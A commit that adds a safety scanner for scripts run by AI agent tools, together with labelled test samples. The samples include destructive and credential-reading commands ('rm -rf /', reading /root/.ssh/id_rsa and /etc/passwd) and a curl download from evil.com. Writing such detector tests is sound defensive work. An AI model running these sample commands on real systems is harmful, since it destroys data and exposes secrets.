feat(safety): 构建 Tool 执行脚本安全检查器，支持 Filter 拦截与监控

实现可插拔的脚本安全扫描系统，覆盖 6 类风险类型，
支持 Python (AST) 和 Bash (正则) 扫描，三级决策，
Filter/Wrapper 双接入方式，含审计日志与 OTel 埋点。

Author: Stelquis

scripts/tool_safety_check.py

@@ -0,0 +1,129 @@
+#!/usr/bin/env python3
+"""Tool Script Safety Check — CLI for scanning scripts for security risks.
+
+Usage:
+    python scripts/tool_safety_check.py path/to/script.py
+    python scripts/tool_safety_check.py path/to/script.sh --type bash
+    python scripts/tool_safety_check.py --stdin < script.sh
+    python scripts/tool_safety_check.py --version
+"""
+
+import argparse
+import os
+import sys
+import json
+
+# Add project root to path
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+
+from trpc_agent_sdk.tools.safety._policy import SafetyPolicy
+from trpc_agent_sdk.tools.safety._scanner import SafetyScanner
+from trpc_agent_sdk.tools.safety._types import ScanInput, ScriptType
+
+
+def detect_script_type(path: str) -> ScriptType:
+    """Detect script type from file extension."""
+    ext = os.path.splitext(path)[1].lower()
+    if ext in (".py",):
+        return ScriptType.PYTHON
+    if ext in (".sh", ".bash", ".zsh", ".ksh"):
+        return ScriptType.BASH
+    return ScriptType.UNKNOWN
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description="Tool Script Safety Check — scan scripts for security risks",
+    )
+    parser.add_argument("path", nargs="?", help="Path to script file")
+    parser.add_argument("--type", "-t", choices=["auto", "bash", "python"],
+                        default="auto", help="Script type (default: auto-detect)")
+    parser.add_argument("--stdin", action="store_true",
+                        help="Read script from stdin")
+    parser.add_argument("--json", action="store_true",
+                        help="Output as JSON")
+    parser.add_argument("--policy", "-p",
+                        default="tool_safety_policy.yaml",
+                        help="Path to policy file")
+    parser.add_argument("--version", "-v", action="store_true",
+                        help="Show version")
+
+    args = parser.parse_args()
+
+    if args.version:
+        from trpc_agent_sdk.tools.safety import __version__ as ver
+        print(f"tool-safety-check version {ver}")
+        return
+
+    # Read script content
+    if args.stdin:
+        script_content = sys.stdin.read()
+        tool_name = "stdin"
+        script_type = ScriptType.UNKNOWN
+    elif args.path:
+        path = args.path
+        if not os.path.exists(path):
+            print(f"Error: File not found: {path}", file=sys.stderr)
+            sys.exit(1)
+        with open(path, "r", encoding="utf-8") as f:
+            script_content = f.read()
+        tool_name = os.path.basename(path)
+        script_type = detect_script_type(path) if args.type == "auto" \
+            else ScriptType.PYTHON if args.type == "python" else ScriptType.BASH
+    else:
+        parser.print_help()
+        sys.exit(1)
+
+    # Load policy and scan
+    try:
+        policy = SafetyPolicy.from_file(args.policy)
+    except FileNotFoundError:
+        print(f"Error: Policy file not found: {args.policy}", file=sys.stderr)
+        sys.exit(1)
+
+    scanner = SafetyScanner(policy)
+    scan_input = ScanInput(
+        script_content=script_content,
+        script_type=script_type,
+        tool_name=tool_name,
+    )
+    report = scanner.scan(scan_input)
+
+    if args.json:
+        print(json.dumps(report.to_dict(), indent=2, ensure_ascii=False))
+    else:
+        _print_report(report)
+        if report.is_blocked:
+            sys.exit(2)
+        elif report.needs_review:
+            sys.exit(1)
+
+
+def _print_report(report):
+    """Print a human-readable safety report."""
+    print(f"\n{'='*60}")
+    print(f"  Tool Script Safety Report")
+    print(f"{'='*60}")
+    print(f"  Tool:         {report.tool_name}")
+    print(f"  Script Type:  {report.script_type.name}")
+    print(f"  Decision:     {report.decision.name}")
+    print(f"  Risk Level:   {report.risk_level.name}")
+    print(f"  Duration:     {report.scan_duration_ms:.2f}ms")
+    print(f"  Matches:      {report.match_count}")
+    print(f"  Timestamp:    {report.timestamp}")
+
+    if report.matches:
+        print(f"\n  {'─'*58}")
+        for m in report.matches:
+            print(f"  [{m.rule_id}] {m.risk_category.name} (risk={m.risk_level.name})")
+            print(f"    Line {m.line_number}: {m.evidence[:100]}")
+            print(f"    → {m.recommendation}")
+            if m.masked:
+                print(f"    (sensitive data masked)")
+            print()
+    else:
+        print(f"\n  ✅ No risks detected.\n")
+
+
+if __name__ == "__main__":
+    main()

tests/tools/safety/__init__.py

@@ -0,0 +1 @@
+"""Tests for the Tool Script Safety Guard."""

tests/tools/safety/samples/bash_pipe.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+# Suspicious: pipe with sensitive file — needs human review
+cat /etc/passwd | grep root

tests/tools/safety/samples/dangerous_rm.py

@@ -0,0 +1,3 @@
+"""Dangerous: recursive delete via os.system."""
+import os
+os.system("rm -rf /")

tests/tools/safety/samples/infinite_loop.py

@@ -0,0 +1,3 @@
+"""Dangerous: infinite loop — resource abuse."""
+while True:
+    pass

tests/tools/safety/samples/leak_api_key.py

@@ -0,0 +1,4 @@
+"""Dangerous: leak API key to file."""
+api_key = "sk-123456789012345678901234"
+with open("/tmp/leak.txt", "w") as f:
+    f.write(f"API_KEY={api_key}")

tests/tools/safety/samples/net_curl.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+# Dangerous: network egress to non-whitelisted domain
+curl http://evil.com/malware -o /tmp/malware

tests/tools/safety/samples/net_whitelist.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+# Safe: network request to whitelisted domain
+curl https://api.openai.com/v1/models

tests/tools/safety/samples/pip_install.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+# Dangerous: install untrusted package
+pip install untrusted-package

tests/tools/safety/samples/read_ssh_key.py

@@ -0,0 +1,4 @@
+"""Dangerous: read SSH private key."""
+with open("/root/.ssh/id_rsa") as f:
+    key = f.read()
+print(key)